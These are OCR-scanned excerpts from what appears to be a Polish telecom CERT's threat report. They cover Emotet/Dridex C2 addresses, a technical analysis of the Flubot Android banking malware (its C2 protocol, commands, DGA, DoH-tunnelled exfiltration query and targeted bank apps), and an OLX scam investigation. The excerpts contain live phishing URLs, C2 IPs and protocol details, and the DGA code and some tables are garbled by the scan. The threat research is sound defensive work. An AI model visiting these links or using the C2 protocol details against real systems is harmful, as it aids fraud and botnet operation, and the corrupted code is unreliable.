korzystata grupa odpowiedzialna za dystrybucje bankera
Dridex i obstuge zwigzanego z nim botnetu.

Data Ostatniej Adres IP Nazwa Kraj
Aktywnosci Botnetu

2021-11-15 19:25:08 51.178.61.60 Emotet [ 1 Francja
2021-10-06 21:00:16 Dridex

2022-01-11 21:45:06 69.16.218.101 Emotet @] stany Zjednoczone
2021-12-08 15:23:52 Dridex

2021-11-16 06:57:31 45.79.33.48 Emotet W] Stany Zjednoczone
2021-07-26 21:18:21 Dridex

2021-11-15 19:24:41 142 4219173 Emotet [+] Kanada

2021-07-03 17:11:37 Dridex

2021-11-25 17:05:07 Emotet Republika
41.76.108.46 , Potudniowej Afryki

2021-03-10 15:58:46 Dridex

2021-11-2517:2005 184 165014 166 __ EMOtet [ 1 Francja
2021-11-22 14:13:46 Dridex
2022-02-08 23:10:38 207.38.84.195 Emotet [&1] stany Zjednoczone
2021-09-29 16:00:42 Dridex

Mozna wiec sie zastanowi¢, czy mamy do czynienia

z powrotem Emoteta, czy po prostu grupa zajmujaca

sie do tej pory Dridexem najzwyczajniej w Swiecie zmienita
narzedzie? To w gruncie rzeczy bytaby dobra informacja

- oznaczataby, ze dziatania organdw $cigania byly skuteczne,
a do usuniecia pozostata jedna, a nie dwie grupy.

lwo Graj
Cyberbezpieczenstwo Orange Polska
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https://feodotracker.abuse.ch/browse/host/51.178.61.60/
https://feodotracker.abuse.ch/browse/host/69.16.218.101/
https://feodotracker.abuse.ch/browse/host/45.79.33.48/
https://feodotracker.abuse.ch/browse/host/142.4.219.173/
https://feodotracker.abuse.ch/browse/host/41.76.108.46/
https://feodotracker.abuse.ch/browse/host/188.165.214.166/
https://feodotracker.abuse.ch/browse/host/207.38.84.195/
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Flubot - nowy malware mobilny

W marcu pojawit sie w Polsce nowy malware na telefony
z systemem Android, miesigc wczesdniej w Hiszpanii,
skad zapoczatkowat rozprzestrzenianie sie po Europie.
Wyroézniat sie na tle innych mobilnych malware

(np. Cerberus, Hydra) wyjatkowym systemem dystrybuciji,
szybkim pojawianiem sie w innych krajach, rozwojem
komunikaciji z serwerem Command&Control, ktory

coraz bardziej ukrywat infiltrowanie danych z telefonu.

System kontroli wersji

Tworey Flubota prébowali kontrolowaé rozwéj aplikacii,
poprzez nadawanie osobnego numeru wersji przy kazdej
wiekszej aktualizacji. Pierwsza wersja, ktéra wystapita

w Polsce byta oznaczona przez twércow jako 3.2.

Bytfa na biezaco rozwijana, w grudniu pojawit sie

wariant 5.1. Przyjrzyjmy sie rozwojowi aplikaciji.

System dystrybucji

Najbardziej wyrdzniajaca sie cecha Flubota sposréd
innych mobilnych malware jest jego system dystrybucji,
rozprzestrzenia sie on bowiem za pomoca wiadomosci
SMS. Wyjatkowe jest to, ze sg one wysytane z zainfe-
kowanych telefonéw. Co ciekawe nie sg rozsytane
bezposrednio z zainfekowanego telefonu do kontaktéw
ofiary. Najpierw ksigzka telefoniczna jest wysytana

do serwera Command&Control, ktéry dystrybuuje

te numery do innych zainfekowanych telefonéw.

W ten sposéb SMS z linkiem do pobrania Flubota trafia
do potencjalnej ofiary z obcego numeru. Mozliwa jest
takze wysytka SMS za granice, w Polsce zaobserwowalismy
telefony wysytajagce wiadomosci phishingowe z Flubotem
do Rumunii, Hiszpanii, Turcji oraz Brazylii. Lista kontaktow
jest wysytana po otrzymaniu polecenia ,,GET_CONTACTS”
od C&C. Aby otrzymac tres¢ SMS do wystania

wraz z numerem, zainfekowany telefon wysyta polecenie
~-GET_SMS”. Jest ono wysytane cyklicznie, z czestotliwoscia
okreslong za pomoca polecenia ,,SMS_RATE”. Po wystaniu
takiego polecenia w odpowiedzi otrzymywana jest liczba
sekund, z jakg czestotliwoscia ma by¢ wysytane zapytanie
o tre$¢ i numer nowego SMS. Ta cze$¢ Flubota pozostata
niezmieniona od wers;ji 3.2.

SMS-y phishingowe

Gdy po raz pierwszy Flubot pojawit sie w Polsce,
rozpowszechniat sie poprzez SMS-y phishingowe
zachecajgce do instalacji fatszywej aplikacji Fedex.
Od tego czasu pojawito sie kilka nowych wektordw.
Na rysunku 2 przedstawiono przyktadowe SMS-y

z fatszywa aplikacja Fedex, ktére pojawity sie

w Polsce w marcu.

58

SMS zachecajacy do instalacji fatszywej aplikacji fedex.

02:49

FedEx: Twoja paczka
przybywa, sledz tutaj: https:
//cssincronbucuresti.ro/pkg/
?1mrdumbk

C

FedEx: Twoja paczka
przybywa, sledz tutaj: https:
//cssincronbucuresti.ro/pkg/
?1mrdumbk

C

o

W przeciggu marca i kwietnia pojawity sie SMS-y z linkami
do fatszywych aplikacji DHL oraz UPS. Nastepnie Flubot
znikt z Polski, aby powrdci¢ w sierpniu z nowa trescig
wiadomosci - zaczat podszywac sie pod aplikacje poczty
gtosowej. Przyktadowe SMS:

02:50

iz96l Poczta glosowa: Masz 1 nowa poczte glosowa.
Przejdz d:o

hxxps://lucianoalesandro.cl/k.php?v1z9i0rrpm

ym3 Otrzymales nowe powiadomienie od swojego
dostawcy uslug:

hxxp://myalkes.com/h.php?a7bgbnx

Przy okazji tej kampanii zaobserwowali$my pojawiajacy
sie w losowych miejscach wygenerowany cigg znakdw.
W przypadku formatu pokazanego powyzej pojawiat

sie on na poczatku wiadomosci. Takie SMS-y pojawiaty
sie do 25 sierpnia, nastepnie Flubot zawiesit swojg
aktywnos$¢ w Polsce do 25 listopada. Wéwczas pojawit
sie podszywajac sie pod aplikacje DHL, poczty gtosowej,
a takze w grudniu pod Adobe Flash Player.

Witaj; niestety nie udalo nam sie dostarczyc Twojej ; paczki;
prosze sprawdz tutaj:

https://designoweb.website/h.php?owfolmc.u8

Otrzymales nowa poczte glosowa:
http://ammarlu.com/k/?aeu-im10

http://bileciksondakika.com/py/?84c5zq87p4un5
Twoja twarz jest na tym filmie... Czy cos przeslales?

Obserwowalismy takze rozwéj botnetu w innych
krajach, mianowicie w Austrii, Australii, Belgi, Szwajcarii,
Czechach, Niemczech, Danii, Hiszpanii, Finlandii,
Wielkiej Brytanii, Grecji, Wegrzech, Wtochach, Holandii,
Norwegii, Rumunii, Szweciji i Turcji. Dla kazdego

z tych krajow wykreowany zostat bot komunikujacy

sie z serwerem Command&Control (to w jakim kraju
znajduje sie bot jest ustalane przez serwer C2 poprzez
geolokalizacje IP). W tabeli ponizej przedstawiono liczbe
polecen otrzymanych od serwera Command&Control

na wystanie phishingowego SMS-a. W pierwszych trzech
miesigcach obserwacji botnetu jego aktywnos¢ byta
dos$¢ duza. W sierpniu boty z IP w Austrii i Szwajcarii
dostaty prawie 70000 zlecen wystania SMS.

W nastepnych miesigcach zaobserwowali$my znaczny
spadek aktywnosci we wszystkich obserwowanych
przez nas krajach. Wtedy tez zostaty wprowadzone SMS-y
weryfikujgce mozliwo$é wysytania wiadomosci
tekstowych przez zainfekowany telefon oraz polecenie
na wystanie SMS pojawiato sie rzadziej niz

w poprzednich miesigcach.

Czerwiec Sierpien  Wrzesien Pazdziernik Listopad Grudzien
Polska 0 6411 22149 0 0 572 2418
Austria 0 16473 68978 1107 727 1679 2302
Australia 0 0 0 572 698 607 2115
Belgia 3052 26120 0 6377 3634 1986 1
Szwajcaria 7080 16532 69797 0 1459 0 0
Czechy 0 15228 0 0 0 0 25
Niemcy 0 14509 22357 4654 0 0 0
Dania 2599 31031 0 0 0 0 25
Hiszpania 5918 19509 1152 3709 3972 4224 1306
Finlandia 0 19662 0 0 0 828 1838
Wielka Brytania 0 21454 11289 894 1928 2611 1071
Grecja 0 9649 0 0 0 0 28
Wegry 0 0 0 502 503 809 1162
Witochy 0 0 0 0 0 1986 1820
Holandia 2968 28658 13121 903 4038 3935 2163
Norwegia 0 14800 0 0 0 512 1197
Rumunia 0 14895 0 364 243 364 1203
Szwecja 0 15619 0 0 0 0 1942
Turcja 0 15946 1 0 1451 1217 1643
Portugalia 0 19460 0 0 0 0 29
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SMS-y weryfikacyjne

W lipcu zaobserwowali$my pojawienie sie polecen

od serwera Command&Control na wystanie SMS, ktore
uznali$my za weryfikujace mozliwo$¢ wysytania wiadomosci
tekstowych przez zainfekowane urzadzenie. Odnotowali$my
takze, ze wysytane one sg na juz zainfekowane urzadzenia
(Flubot po otrzymaniu odpowiedniego polecenia przekierowuje
wszystkie otrzymane wiadomosci do C&C). Wiadomosci
weryfikacyjne sktadaty sie z losowo generowanych ciggow
znakow, a ich format ulegat jednak ciagtym zmianom.
Poczatkowo byty one statej diugosci i zaczynaty sie od litery x:
Xb4zwmaqisqOv”. W sierpniu przyjmowaty one losowa dtugos¢:
~X9y8h6mnim8qlh47ghtOkfrix1ivsudmun7vs6q2zfwush65”,

a takze zaczely pojawiac sie spacje: ,xwxu y n7t 6ihd z4kxw75”.
Taki format utrzymat sie do grudnia, wtedy zastgpiona

zostata pierwsza litera, ktéra przyjmowata zawsze warto$é

»X" przez litere lub cyfre generowang losowo. Pojawity sie
rowniez kropki: ,,6a002j2j0cez2huzrbjk9eb9de89w cg7 ap48.
x4xv1o0”. W tym samym miesigcu w wiadomosciach pojawity
sie linki: ,,bsz8u3708ax3tgvd5t440kinfhga7jt https://9a24c.
com/4z/?25t0myh57gt”. Przypominaty one te

z wiadomosci, ktére rozsytane byly do potencjalnych ofiar.
Jednak na zadnym z nich nie byto strony, ktéra umozliwiataby
pobranie Flubota. Niedtugo po tym generowany tancuch
znakdw zastgpiony zostat przez dwa losowe stowa

w jezyku angielskim:

»Sophisticated twelve https://firsttoknow.com/08/?tj25ryy1acj”.

Komunikacja z Command&Control
DGA (Domain Generation Algorithm)

Flubot od poczatku korzystat z algorytmu DGA

do generowania domen, z ktérymi nawigzywat potgczenie
celem infiltracji danych oraz otrzymania polecen z serwera
Command&Control. Zasada dziatania algorytmu nie ulegata
zmianie. Z systemu pobierany jest rok oraz numer miesigca
(wiec w kazdym miesigcu nastepuje generacja nowego
zestawu domen). Nastepnie sg na nich wykonywane operacije,
inng warto$¢ przyjmuije tylko zmienna f4828d przedstawiona
na rysunku 5. W wers;ji 4.0 byta ona zalezna od jezyka

jaki jest ustawiony na telefonie, a od wersji 4.9 jest ona stata
i przyjmuje 1945. Algorytm dla jednego TLD generuje 5000
domen, przed 4.0 byto to 2000. Od marca do konca roku
odnotowali$my pojawienie sie 4852 zarejestrowanych
domen, generowanych przez algorytm DGA Flubota.

Algorytm DGA

8d() {
getInstance() .get(1l);
getInstance() .get(2);
((i ~ i2) =~ 0);

f4825a
ng i3

f4825a
long j4
f4825a
long j5 = j4 * (((long) @) ~ j4);

f4828d) ;
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DNS over HTTPS oraz fast flux

W wersji 4.0 wprowadzono korzystanie z DNS over HTTPS
(DOH), ale nie porzucono korzystania ze zwyktego DNS.
Wybér pomiedzy DOH, a zwyktym DNS jest losowy.
badz rowna 8 - uzyty zostaje DOH. Daje to odpowiednio
80% szans na uzycie zwyktego DNS, a 20% dla DOH.
Po rozwigzaniu domeny wczesniej losowo wybrang
metodg, cata dalsza komunikacja przebiega po adresie IP.
Przy okazji tej wersji wprowadzono takze korzystanie

z fast flux. Wobec tego do kazdej zarejestrowanej
domeny przypisane byto od 10 do 12 IP. Wedtug naszych
spostrzezen, co okoto 30 min wszystkie IP przypisane
do danej domeny zostaty zamieniane na inne, jednak
czesto sie powtarzaty. W 2021 zebralismy 385 IP, ktére
byty przypisane do domeny generowanej przez Flubota
algorytmem DGA.

Szyfrowanie

Cata komunikacja jest zaszyfrowana. Same polecenia

i odpowiedzi z serwera sg zaszyfrowane za pomocga operacji
logicznej XOR, przy uzyciu 10-znakowego odrebnego

dla kazdego zapytania klucza, lub 15-znakowego w wersji 4.8.
Jest on wysytany wraz z wygenerowanym UUID (Universal
Unique identifier) i zaszyfrowany za pomoca RSA kluczem
publicznym zaszytym w kodzie aplikacji. Przyktadowa warto$é
wiadomosci szyfrowanej przez RSA to

314E69247AB445A680D7E52D6B91DCE6, AAAAARAAAA

gdzie 314E69247AB445A680D7E52D6B91DCE6

to UUID, za$ AAAAAAAARAA to klucz uzyty do zaszyfrowania
drugiej czesci. W drugiej czesci wiadomosci znajduje

sie polecenie do serwera Command&Control.

Po zaszyfrowaniu jej przez XOR z kluczem obecnym

w pierwszej czesci wiadomosci, catos¢ jest kodowana

za pomoca Base64 i wysytana. Przyktadowe zapytanie

do serwera moze mie¢ postaé (pierwsza czes¢ od drugiej
jest oddzielona za pomocg "\r\n”):

‘GDG1m5Xkc+/ppRehVPEaYU+EfwhGa03Gak+pBOz1lagtgQNr
ZVdCpy21fvlvESDXaXyUc/nSeK8hasVMKgyC2a4DyGCpEhO/
GYHVhngLMOUaKNGxUlwDwHo9xbUfzehwA75wSQOpSbEPOE
eNJFaS6yawFa8+irnXsrdTieOYftfzsmMAapueZpk58SFB
ToUjNCp/£fFSV6ZRpCOJKyWtI4XOhcTRXEIkt 9HOWO8TMY /
cD8JEYyWZTMUoTm+orrwggWgvhjTeZH1/D+xdUilKsedi/
sbZRiK0OCZALII1HO5/RVMIgbf98sLLP1+p8TeITxZVENDYU
eZzS0YT7L8YKMnr20Q==\r\nITE1KCspIF0="

Odpowiedz jest zakodowana w Base64 oraz zaszyfrowana
przez XOR tym samym kluczem obecnym w pierwszej
czesci wystanej wiadomosci.

W wersji 4.9 nastgpita zmiana sposobu szyfrowania
komunikacji, cate zapytanie kierowane do
Command&Control jest tunelowane przez DOH.
Flubot uzywa do tego celu domen:

dns.google
cloudflare-dns.com
dns.alidns.com

Zapytanie wyglada nastepujaco:

hxxps://cloudflare-dns.com/dns

OBWIZBTOQJUINDCAMJZ

grln.cn&type=TXT

—query?name=b2b55293.0.1. IFCEKMRWG5BECNCGG43TIQJISGM4DQOJSHFDET

GMXDCOB. ZFYYTAMBOGIYDIIABAAXHOKXP607V6BBHXBWRGONSLW2IZHZSK2T
HXTL6KJ7L7I.LPA3SAKACZMBZCR4U7IHV6QV3JQRWUM3LS7UCKXH
SMB4JCXXDFAT57Z2QHPEBV6A.G2XTLJJAFTMG4MTESDNYVBOE . ucbcmjiesrp

a) b2b55293 - To losowy token, generowany
przy kazdej sesji

b) 0 - Poniewaz adres moze mie¢ maksymalnie
255 znakdw, zapytania dzielone sa na czesci,
gdyz 0 oznacza pierwszg czes¢. Jesli adres
jest dtuzszy, przy dalszych zapytaniach licznik
ten rosnie o 1

c) 1 - Ta etykieta moze przyjaé¢ wartos¢ 0, 1
lub 2. 1 - jesli do serwera C&C wysytana
jest ostatnia cze$¢ danych; 0 - w kazdym innym
przypadku zwigzanym z wysytka;
2 - jesli bot czeka na odpowiedz z C&C

d) IFCEKMRWG (...) YVBOE - To witasciwe
polecenie do C&C, dzielone na czesci po 63 znaki
(maksymalna dtugo$¢ subdomeny).
Zaszyfrowane sg w nastepujacy sposob:

a. generowany jest 10-znakowy klucz,
szyfrowany algorytmem RSA kluczem
publicznym zaszytym w kodzie aplikacji,
wraz z generowanym przy instalacji tokenem
UUID (innym, niz ten wymieniony
na poczatku listy)

b. wygenerowany wczesniej 10-znakowy klucz
uzywany jest do zaszyfrowania algorytmem
RC4 polecenia do C&C

c. do zaszyfrowanego UUID z kluczem RC4
i zaszyfrowanego polecenia do C&C dotgczany
jest jeszcze raz ten sam UUID oraz adres IP,
okreslany przez zapytanie do jednego
z serwisow (a catosc¢ jest kodowana
przy uzyciu base32):

ipinfo.io
icanhazip.com
api64.ipify.org
www.trackip.net

Dostepne polecenia
Aplikacja co 70 sekund wysyta do serwera
Command&Control polecenie PING, catos¢ zapytania

moze przybrac postac:

PING,5.1,180610,Samsung,Galaxy 20,pl,1234,orange,1,0

5.1 - wersja aplikaciji
180610 - wersja androida pobierana ze statej Build.
VERSION.RELEASE
Samsung - producent telefonu, na ktérym
uruchomiony jest Flubot
Galaxy 20 - model telefonu
pl - jezyk, jaki jest ustawiony na telefonie
1234 - czas pracy telefonu w sekundach
orange - nazwa sugerujgca operatora
telekomunikacyjnego
B 1 - wartos$¢ przyjmuje 1, jesli aplikacja Flubota
jest ustawiona jako domyslna do obstugi wiadomosci
tekstowych, 0 w przeciwnym wypadku
m 0 - wartos¢ przyjmuje 1, jesli wigczone
jest przechwytywanie powiadomien, 0 w przeciwnym
wypadku

Po takim zapytaniu wykonanym przez zainfekowany
telefon Command&Control moze odpowiedzie¢ jednag
z nastepujgcych komend:

RETRY_INJECT - ponowne wykonanie przestoniecia
dla aplikaciji, dla ktorej byto to juz zrobione

GET_CONTACTS - wystanie do serwera
Command&Control listy kontaktéw ofiary

SEND_SMS - wystanie SMS

RELOAD_INJECTS - ponowne wystanie listy
zainstalowanych aplikacji

DISABLE_PLAY_PROTECT - proba wytgczenia
Google Play Protect

RUN_USSD - wykonanie kodu ussd
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OPEN_URL - otworzenie url
UPLOAD_SMS - wystanie SMS zapisanych na telefonie ofiary
SOCKS - otwarcie potgczenia z proxy

BLOCK - zablokowanie wyswietlania powiadomien
na telefonie ofiary

CARD_BLOCK - wyswietlenie formularza z prosbg
o podanie danych karty ptatniczej

UNINSTALL_APP - odinstalowanie aplikacji na telefonie
Od wers;ji 4.0

NOTIF_INT_TOGGLE - wytgczenie/wtaczenie
przechwytywania powiadomien z telefonu ofiary

SMS_INT_TOGGLE - wytgczenie/wtaczenie
przechwytywania przychodzacych SMS na telefon
ofiary, pojawito sie w tym samym czasie co SMS-y
weryfikacyjne, pozwala na szybkie ich przekierowanie
do Command&Control

Od wers;ji 4.9

UPDATE_DNS_SERVERS - aktualizuje liste serweréw
DOH

Od wersiji 5.1

UPDATE_ALT_SEED - aktualizuje ziarno uzywane
do algorytmu DGA Flubota

Naktadki (overlays)

Gtébwng metoda wykradania danych uzytkownika

jest stosowanie tzw. naktadek (overlay). Jednak

nie otrzymaliSmy ani nie znalezli§my informaciji,

aby taki atak zostat z powodzeniem przeprowadzony.
Uruchamiana przez uzytkownika aplikacja jest przestonieta
przez okno, ktére zwykle prosi go o podanie danych
logowania. Flubot podszywa sie pod konkretne aplikacje
oraz posiada ogdélny komunikat z informacja o koniecznosci
podania danych karty ptatniczej w celu rzekomego
sprawdzenia wieku ofiary. Lista aplikaciji, dla ktérych
malware dysponuje naktadkami, jest pobierana

z serwera Command&Control, przy uruchamianiu aplikacji
lub po otrzymaniu polecenia RELOAD_INJECTS.

Aby otrzymac taka liste musza zosta¢ wystane aktualnie
zainstalowane aplikacje, a w odpowiedzi sg odsytane nazwy
tych dla ktérych moze by¢ przeprowadzony atak. Nastepnie
pobierane sg pliki HTML z trescig naktadki (przestoniecie
wykonywane jest przez Androidowy silnik do renderowania
stron ,,Webview”). Samo przestonigcie jest realizowane
przez sprawdzenie czy dla aktualnie otwieranej aplikacji
atak moze zostaé¢ wykonany.

Aplikacje, na ktére mozliwe byto przestoniecie (kwiecier 2021)
m pl.aliorbank.aib - alior mobile
m com.finanteg.finance.ca - CA24 Mobile

W pl.bzwbk.bzwbk24 - Santander mobile
B com.google.android.gm - gmalil
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B pl.ing.mojeing - Moje ING Mobile

B com.binance.dev - binance exchange

B piuk.blockchain.android - blockchain.com wallet
u pl.pkobp.iko - PKO bank

B com.coinbase.android - coinbase bitcoin wallet
B softax.pekao.powerpay - Bank pekao peopay

Google
Sign in

with your Google Account

| Email or phone

Forgot email?

Not your phone? Use Guest mode to sign in privately.
Learn more

Naktadka na aplikacje
Alior banku

Naktadka na aplikacje gmail

Podsumowanie

Flubot po pojawieniu sie w roku 2021 szybko sie rozwijat
oraz dodawat kolejne funkcje. Nowe rozwigzania ukrywaty
jego dziatania, a takze utrudniaty préby zwalczania.
Operator majgcy mozliwo$¢ filtrowania tresci wiadomosci
SMS, musiat zmierzy¢ sie z losowo generowanymi
tancuchami znakdw, ktére pojawiaty sie w tresci. Filtrowanie
ruchu sieciowego spotkato sie z pojawieniem DNS

over HTTPS oraz fast flux, a nastepnie pojawieniem

sie tunelowania przez DOH. Takze sam botnet stat

sie ,,ostrozniejszy”, gdy zaczeliSmy sie mu przygladac.
Pojawity sie SMS-y weryfikacyjne, a takze zmniejszyta

sie ilo$¢ polecen na wysytke phishingowych wiadomosci
tekstowych przez zainfekowanego bota. Brak potwierdzonych
ofiar atakdéw przestoniecia jest zastanawiajgcy,

ale na pewno przez tak dtugi i jednoczesnie aktywny

okres dziatania, operatorom Flubota udato sie zebra¢ duza
liczbe ksiazek telefonicznych z zainfekowanych telefondw.

Arkadiusz Bazak
Cyberbezpieczenstwo Orange Polska

Gdy czujnos¢ Spi,
budzi sie CyberTarcza

Artykuty o stanie bezpieczenstwa internetu czesto
obfitujg w podkrecone do maksimum statystyki i bole$nie
nieprawdziwe dane, ktérych nikt nie weryfikuje.

Ten artykut taki nie bedzie. Bedzie za to opisem realnego
spotkania ,twarzg w twarz” z przestepcami, tymi samymi
ktoérzy codziennie okradaja setki polskich internautéw.

Co to jest CyberTarcza

CyberTarcza to rozwigzanie pozwalajgce w znacznym
stopniu zwiekszy¢ poziom bezpieczenstwa internautow.
Stajemy na drodze przestepcom, ktérzy atakujg naszych
klientow. Zadaniem CyberTarczy jest blokowanie witryn
phishingowych i hostujgcych malware, a takze serweréw
CC malware’u zidentyfikowanego przez zespét CERT
Orange Polska. Wiecej informacji i statystyk dotyczacych
CyberTarczy znajdziecie w tym raporcie i artykutach
napisanych przez moich kolegow.

CyberTarcza, a najpopularniejsze
metody oszustw

Jednym z najpowszechniejszych obecnie oszustw
sg oszustwa wykorzystujace popularne portale
z ogtoszeniami np. OLX.pl.

Kiedys to byly czasy...

Ciekawa jest ewolucja metod uzywanych przez przestepcow.
Poczatkowo oszusci wystawiali na portalach
ogtoszeniowych przedmioty w atrakcyjnych cenach

i czekali na kontakt od potencjalnych kupujacych

(a.k.a. ofiar). Oszusci wystawiali popularne przedmioty

w cenie znacznie nizszej niz rynkowa, dlatego nie mogli
narzeka¢ na brak chetnych. Czesto szli tez o krok dalej,
oferujgc przedmioty za darmo. Jezeli kto$ uwierzyt,

ze mozna dostaé w prezencie przedmiot wart kilka tysiecy
ztotych to moze uwierzy w inne mato realne rzeczy.

Po nawigzaniu kontaktu i potwierdzeniu warunkoéw
sprzedazy oszust wysytat link do fatszywej bramki
ptatnosci. W zaleznosci od fantazji oszustoéw ofiara
podawata (na fatszywej stronie) login i hasto do banku,
pesel czy nazwisko panienskie matki. Przestepcy recznie
weryfikowali te dane i probowali wykorzysta¢ np. do dodania
konta stupa do listy rachunkéw zaufanych. Caty kontakt
odbywat sie w ramach portalu OLX - za pomoca wiadomosci
wbudowanych w platforme. Skuteczne dziatania OLX
doprowadzity do tego, ze konta oszustow byty btyskawicznie
blokowane i musieli oni zmieni¢ sposéb komunikaciji.

Teraz to nie ma czasow....

Jak to wyglada obecnie? Niestety duzo gorzej.
Przestepcy zainwestowali w profesjonalizacje swoich
dziatan przez co sg jeszcze bardziej skuteczni.

Skala w jakiej operujg jest porazajaca. Tort do podziatu
jest duzy, wiec w Polsce dziata co najmniej kilkadziesiat
grup atakujgcych rodzimych internautéw.

Istotna jest zmiana o 180 stopni rél - przestepca
ze sprzedajacego stat sie kupujacym.

Na gtéwnej stronie OLX jest informacja o ponad
20 milionach aktywnych ogtoszen - to praktycznie
nieskonczony potencjat, o czym wiedzg przestepcy.

Oszusci zostali zmuszeni do rezygnacji z wbudowanego
w OLX kanatu komunikacji, obecnie gtéwnym
komunikatorem, ktérego uzywajg jest WhatsApp.
Rozmach z jakim dziatajg przestepcy jest ogromny.

Aneta sprzedaje konsole

CERT Orange Polska na biezgco $ledzi i analizuje
zagrozenia czyhajace na internautow. Wykryte scenariusze
analizujemy i robimy wszystko co w naszej mocy,

zeby chronié przed nimi naszych klientéw. Sita rzeczy
portale ogtoszeniowe sg statym punktem na trasie
naszych cyber-wycieczek. Na takg cyber-wycieczke
wystaliSmy naszg kolezanke, Anete. Jej zadaniem byto
sprzedac na OLX konsole.

Microsoft Xbox Series S 512GB

Od: 10 sty Do: 14 sty | ‘Warszawa, Mazowieckie, Praga-Potudnie

edycja | usuniz listy moich ogloszen

A7 Statystyki @5 S0 Q0

Krétko po dodaniu ogtoszenia Aneta zaczeta dostawaé
pierwsze wiadomosci na WhatsApp.

+48 577 339 235 witorek
Aby otrzymac platnos¢ nalezy wcisnac przyci... v

+48 518 944 709 wiorek
1 Zdjecie
+48 515 871 239 wiorek

Dzier dobry, czy ogloszenie jest nadal aktualne...

+48 502 048 594 wiorek
Czy jest paragon ? Jak dtugo byt uzywany?

+48 727 808 702 wtorek
Dzien dobry. czy ogloszenie na OLX jest aktualn..

+48 727 808 089 wiorek
Dzieri dobry, czy ogloszenie na OLX jest aktualn..

+48 515 616 020 wiorek
©

+48 783 479 072 wiorek
w/ Jakis blad

+48 516 240 075 witorek

W/ Tak, aktualne

+48 722 197 065 wiorek
Stan jest taki jak na zdjeciu?

e 7T0ec0Cd
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Aneta dostata tacznie 16 wiadomosci - wszystkie
pochodzity od oszustéw. Typowy schemat rozmowy
sktada sie z kilku etapow:

1. Przywitanie i pytanie czy oferta jest aktualna

2. Potwierdzenie checi kupna

3. Wyttumaczenie jak bedzie przebiegata transakcja
i przestanie linku do odbioru pieniedzy

4. Naleganie na wprowadzenie danych

Spéjrzmy, jak wyglada przyktadowa rozmowa

Microsoft Xbox Series S 512GB Szczecin Bukowo + OLX.pl
1350 21: 1 350 2k Microsoft Xbox Series S 512GB Biala (white). Maio
uzywana, nietrafiony prezent na gwiazdke. Bez zadnych siadow

Dzien dobry, jeszcze nie sprzedane? Stan jest bdb?
hitps:/hwww.olx b 12gb-CID99-
IDNGMy htmi#506dd58b3b p_—

Dziefidobry 5,4

Tak, aktualne. .,
Swietnie chcialabym zaméwic przesylke kurierska przez InPost lub

DPD.Oczywiscie na m6j koszt)

B0 jestem z Libiaz i nie mam mozliwosci odbioru osobistego. Pan/Pani otrzyma

pieniadze teraz, a kurier odbierze przesylke jutro z domu, w wygodnym dia

Pana/Pani czasie&3) .

Ok BA W

Dobrze .,

InPost

out of the box

InPost dia Ciebie - Paczkomaty, Kurier, Przesylki
Kurierskie i Paczki
Oferta InPost dia kiientow indywidualnych - Paczkomaty

https://pl-inpost.271712.xyz/track16333714
Zaméwienie i dostawa oplacone, pani powinna
Kiiknac w link i naciénaé "Dalef", aby otrzymac

zaplate za towar.InPost przekaze $rodki
bezposrednio na Pan/Pani konto —

1324

Jezeli potencjalna ofiara zastanawia sie

po co ma — w celu odebrania ptatnosci - logowac
sie na konto bankowe, oszust ma przygotowane
kilka infografik. Niektére bardziej udane, inne mniej.
Ponizej grafika przygotowana na potrzeby dostawy
przez Poczte Polska.
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@ Sledz
 paczke

= t{_’/ Poczta Polska

Jak dziata Poczta Polska dostawe?

o= Kupujacy na stronie Poczta Polska
o= ptaci za towar + przesytke i
o=

7 wypetnia dane do odbioru online

Po dokonaniu ptatnosci Poczta
B ®]

Polska generuje unikalny link do
e odbioru $rodkdw, ktére kupujacy
przekazuje sprzedajagcemu

Po otrzymaniu pieniedzy przyjda
_\/ do ciebie: samochéd osobowy,
laweta, cigzardwka, Gazela (w
zaleznosci od przedmiotu) i tak
dalej.
Skontaktujemy sig z Toba w celu
wyjasnienia szczegbtéw dostawy
(daty i godziny), odbierzemy
towar i skierujemy go do
kupujacego.

[E4 HTTPS / SSL Bezpieczne potaczenie

VERIFIED MasterCard.
by VISA ‘SecureCode

Rézne problemy stawaty Anecie na drodze, ale (prawie)

za kazdym razem oszusci prowadzili jg za reke, podsytali
kolejne linki i cierpliwie ttumaczyli w jaki sposob przebrnaé
przez procedure zakupowa.

Tak, aktualne ;4

W takim razie to jest swietnie! Cena dobra,
ale jestem z Tarnowa. Czy mozemy
zorganizowac wysytke Inpost? Ja place
za przesytke i kurier sam odbiera paczke i
moze pomdc przy pakowaniu 20:41

Ale szczescie, jutro bede w Tarnowie u
babci 20:41 W
Na jakiej ulicy mieszkasz? ., .,

Tylko kurier gtupia umiesz czytac¢ ?
20:42

Million dollar Xbox.

Oszusci dziatajg wg wczesniej przygotowanych skryptéw,
ciekawiej zrobito sie, kiedy Aneta probowata wyjsé

poza ich ramy. Na pytanie oszusta czy ogtoszenie

jest aktualne odpowiedziata, ze towar wtasnie zostat
sprzedany. Wywotato to do$¢ ciekawa reakcje przestepcy,
ktory zaproponowat... ze zaptaci wiecej. Aneta

ma gtowe do intereséw, wiec rozpoczeta mini-licytacje.
Milion to zdecydowanie dobra cena jak

za XBOX-a - na tej kwocie licytacja sie zakonczyta.

1 nieprzeczytana wiadomos¢

1000000 455

Oszust sprawnie spreparowat odpowiednig strone

z potwierdzeniem ptatnosci, ale Aneta szybko policzyta
zera i okazato sie, ze na stronie fatszywej bramki jednego
brakuje. Niestety programisci nie przewidzieli takiego
scenariusza i maksymalna kwota jaka przyjmuje system
to 100 000 zt. Skoro system tak ma, to wiadomo,

ze tak musi zostac i nic z tym zrobi¢ nie mozna.

Na szczescie sprzedajgcy uspokoit Anete, ze brakujgce
900 tys. zt dostanie.

100 000? Miat by¢ 1000 000 .05

Link dziata ale kwota btedna ., ,,
Coz 100 000 zgadzasz sie? ;.0
Mam oferte za 500 000 ;.44

Zaptacg Ci dodatkowo 900 000. Na
stronie mozesz postawic tylko 100 000.
17:10

Klikamy, zeby nasi klienci nie mogli
tego zrobic.

Aktywnos$é Anety to promil tego co robimy jako

CERT Orange Polska, zeby zabezpieczy¢ naszych
klientéw. Ten przyktad to Swietny pretekst, zeby pokazaé
skutecznos$¢ CyberTarczy w bezposredniej konfrontacji
z oszustami.

Gtéwnym problemem Anety byta CyberTarcza. Podczas
sprzedazy Xbox-a, Aneta dostata linki do oszukanczych
stron prowadzace do ponad 20 r6znych domen.

13 z nich byto natychmiast zablokowanych przez
CyberTarcze - w momencie, kiedy Aneta je dostata.
Kazdy link zgtaszata “kupujgcemu” jako niedziatajgcy,

a oszust wyczuwat swojg szanse i dostarczat nowe
linki z wczesniej nieuzywanych domen. Réwniez
